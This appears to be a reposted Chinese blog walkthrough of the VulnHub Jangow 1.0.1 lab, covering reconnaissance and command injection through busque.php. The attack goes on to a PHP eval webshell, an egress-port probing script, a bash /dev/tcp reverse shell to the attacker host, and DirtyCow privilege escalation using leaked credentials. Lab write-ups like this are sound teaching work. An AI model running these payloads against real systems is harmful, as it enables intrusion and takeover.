TheBlackHoleLab头像
【VulnHub系列】Jangow 1.0.1:完整渗透流程封面图

【VulnHub系列】Jangow 1.0.1:完整渗透流程

基本信息

靶场:Vulnhub Jangow
攻击机Kali:192.168.56.3
靶机:192.168.56.5
虚拟机模式:仅主机,攻击机靶机同一网段
下载链接:https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova
作者:Jangow

一、信息搜集:ARP扫描,发现网段存活主机

二层ARP扫描,发现同网段虚拟机靶机

arp-scan --local

确定靶机IP:192.168.56.5
在这里插入图片描述

Nmap端口&服务扫描

nmap -sV -T4 192.168.56.5

扫描结果:
在这里插入图片描述
发现开放了一个ftp服务,一个web服务,没有开放ssh服务,后面需要反弹shell之类的。

浏览器访问 [http://192.168.56.5](http://192.168.56.5),存在目录列出。
在这里插入图片描述

二、Web探测:目录爆破

  1. 进入site目录,发现bootstrap框架的网页
    在这里插入图片描述

在这里插入图片描述
2. 右键查看网页源码,发现一个php页面,busque.php?buscar=,带参数看起来可以利用。
在这里插入图片描述
3. 继续使用gobuster暴破一下目录再

gobuster dir -u http://192.168.56.5 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -x php,txt,html 

在这里插入图片描述

最终发现两个有用的线索,一个是 wordpress(之后使用wpscan探测,发现是唬人的),但是通过探测wprdpress目录发现另一个config.php
4. 访问 config.php,泄露了mysql报错信息,说明该php可能存放了用户名和密码的内容,后续会用到。
在这里插入图片描述

三、发现命令执行漏洞

  1. 回到之前通过web源码发现的busque.php文件,通过探测发现其buscar参数存在命令执行漏洞,http://192.168.56.5/site/busque.php?buscar=id
    在这里插入图片描述

  2. cat一下busque.php源码,审计一下什么情况。 什么限制都没有,very good!!!在这里插入图片描述

  3. 接下来写入一句话木马,并蚁剑连接一下
    http://192.168.56.5/site/busque.php?buscar=echo%20%27%3C?php%20@eval($_POST[%27pass%27]);%20?%3E%27%20%3E%20shell.php
    在这里插入图片描述

  4. 到处看看有没有什么文件,回想之前发现的config.php,看看内容是什么。用户名密码得到了,由于mysql是本地服务,而且既然都拿到webshell了,也没必要再使用mysql做什么了,猜想这里的用户名和密码是ssh的用户名和密码。
    在这里插入图片描述
    除此之外,普通用户的flag也拿到了。
    在这里插入图片描述

  5. 现在有个问题就是蚁剑这款工具不能使用交互式shell,因此还是要通过反弹shell去继续提权操作。但是通过踩了许多坑发现其防火墙限制了出网的端口,至于是哪个我是通过一个python脚本去尝试反弹shell,测出来的,内容如下:

import socket

target_ip = "192.168.56.3" # kali的地址
# 扫描0~999端口
ports = range(0, 1000)
out_file = "/tmp/result.txt" # 结果存储在 /tmp/result.txt文件中

with open(out_file, "w") as f:
    for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(1)
        ret = s.connect_ex((target_ip, port))
        if ret == 111:
            f.write(str(port))
            f.flush() # 可以在捕获到实际开放端口的时候立即写盘,减少等待时间。
        s.close()
    f.write('\n end')

直接使用蚁剑创建该文件即可,方便得很。
6. 然后通过busque.php执行python代码, http://192.168.56.5/site/busque.php?buscar=nohup%20python3%20test.py%20%3E%20scan.log%202%3E%261%20%26,需要等待一段时间。

在执行过程中我们可以打开kali的wireshark看有没有来自 192.168.56.5靶机的流量,如果存在流量说明对应的端口则是未被防火墙进行,可以使用该端口反弹shell,然后再观察 /tmp/result.txt的内容,直接使用蚁剑的刷新功能即可。
在这里插入图片描述
在这里插入图片描述
7. 最终结果是443端口没有被限制,下面使用443进行反弹shell, kali执行nc -lvnp 443,然后busque.php执行 http://192.168.56.5/site/busque.php?buscar=nohup%20bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.56.3/443%200%3E%261%27%20%3E/dev/null%202%3E%261%20%26在这里插入图片描述

在这里插入图片描述

四、提权

  1. 查看 /etc/passwd
    在这里插入图片描述

注意看这里的 desafio02,这个是我们之前config.php源码中的用户名,密码我们也知道了,可以尝试一下切换到该用户。

  1. 先将shell提升为可交互的,依次执行以下命令
# 1. 用python生成pty
python3 -c 'import pty;pty.spawn("/bin/bash")'
# 2. Ctrl+Z 把shell丢后台
# 3. 在kali本机执行
stty raw -echo;fg
# 4. 回车,然后配置环境变量
export TERM=xterm

在这里插入图片描述

  1. 切换用户到jangow01, 密码是config.php中的密码abygurl69

在这里插入图片描述
4. 使用sudo -l 测试,发现报错,查看一下内核看看有没有漏洞,执行 uname -a
在这里插入图片描述
5. 通过AI得知该版本的内核存在脏牛的漏洞,接下来使用https://www.exploit-db.com/exploits/40616这个进行提权(使用其他几个测试发现靶机更容易崩溃,这个要好一点),首先通过蚁剑将其上传到tmp目录,然后cp放在 普通用户的家目录。
6. 然后使用 gcc 编译gcc -pthread 40616.c -o dirty -lcrypt, 编译完成后执行 ./dirty,即可直接获取root shell.
可以看到报了几条警告,直接忽略即可。
在这里插入图片描述

转载自 CSDN-专业IT技术社区

原文链接:https://blog.csdn.net/HangingSword/article/details/166791398

文章来源转载

评论

评论列表

微信小程序
QQ小程序

关于作者

点赞数:0
关注数:0
粉丝:0
文章:0
关注标签:0
加入于:--